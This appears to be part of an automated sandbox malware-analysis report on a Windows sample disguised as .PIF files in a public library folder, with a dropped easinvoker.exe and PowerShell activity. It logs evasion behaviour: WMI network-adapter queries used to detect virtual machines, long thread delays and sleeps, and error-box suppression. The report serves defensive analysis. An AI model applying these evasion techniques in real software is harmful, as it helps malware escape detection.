Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 3D940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 3DDE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 3DD00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 25B80000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 25F70000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 27F70000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 3D900000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 3DD30000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Memory allocated: 3FD30000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

23_2_004019F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00007FFAABA20F6D sldt word ptr [eax]

17_2_00007FFAABA20F6D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199809	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199687	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199305	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199172	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197547	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197435	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197328	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197219	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197109	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197000	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196880	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196766	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196652	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196544	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196403	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196229	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196124	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196012	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195854	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195728	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195608	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195470	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195295	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1195143	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1194979	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1194835	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1194719	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1200000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199865
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199744
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199618
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199448
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199323
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199199
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199043
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198916
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198764
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198627
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198467
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198331
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1200000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199829
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199704
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199590
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199469
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199359
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199250
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199110
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1199000
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198888
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198781
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198657
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198532
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198422
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198297
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198185
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1198078
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197954
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197836
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197730
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197586
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197471
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197344
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197235
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1197094
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196985
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Thread delayed: delay time: 1196875

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3319	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2828	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5125	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4640	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4699	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5088	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window / User API: threadDelayed 4680	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window / User API: threadDelayed 5110	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window / User API: threadDelayed 2876
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window / User API: threadDelayed 3306
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window / User API: threadDelayed 3310
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window / User API: threadDelayed 6521

Source: C:\Users\user\AppData\Roaming\uc.exe

Dropped PE file which has not been started: C:\Users\Public\Libraries\easinvoker.exe

Jump to dropped file

Source: C:\Users\Public\Libraries\Ucvuiswb.PIF

API coverage: 8.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1836	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3812	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep count: 4699 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep count: 5088 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 6480	Thread sleep count: 4680 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99872s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 6480	Thread sleep count: 5110 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99749s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99530s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99417s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99181s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -99071s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98959s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98843s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98734s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98624s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98515s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98399s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98296s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98176s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -98062s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97945s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97825s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97718s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97609s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97499s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97390s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97281s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97169s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -97062s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -96953s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -96843s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -96734s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -96624s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -96515s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1199809s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1199687s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1199305s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1199172s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1197547s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1197435s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1197328s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1197219s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1197109s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1197000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196880s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196766s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196652s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196544s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196403s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196229s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196124s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1196012s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1195854s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1195728s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1195608s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1195470s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1195295s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1195143s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1194979s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1194835s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 4908	Thread sleep time: -1194719s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -100000s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 1928	Thread sleep count: 2876 > 30
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99879s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 1928	Thread sleep count: 3306 > 30
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99765s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99655s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99546s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99435s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99325s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99209s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -99078s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98936s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98822s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98718s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98606s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98484s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98374s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98264s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98156s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -98046s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -97936s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -97797s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -97685s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -97564s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -97424s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -97292s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -97180s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1199865s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1199744s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1199618s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1199448s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1199323s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1199199s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1199043s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1198916s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1198764s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1198627s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1198467s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 2044	Thread sleep time: -1198331s >= -30000s
Source: C:\Users\Public\Libraries\bwsiuvcU.pif TID: 5352	Thread sleep count: 32 > 30
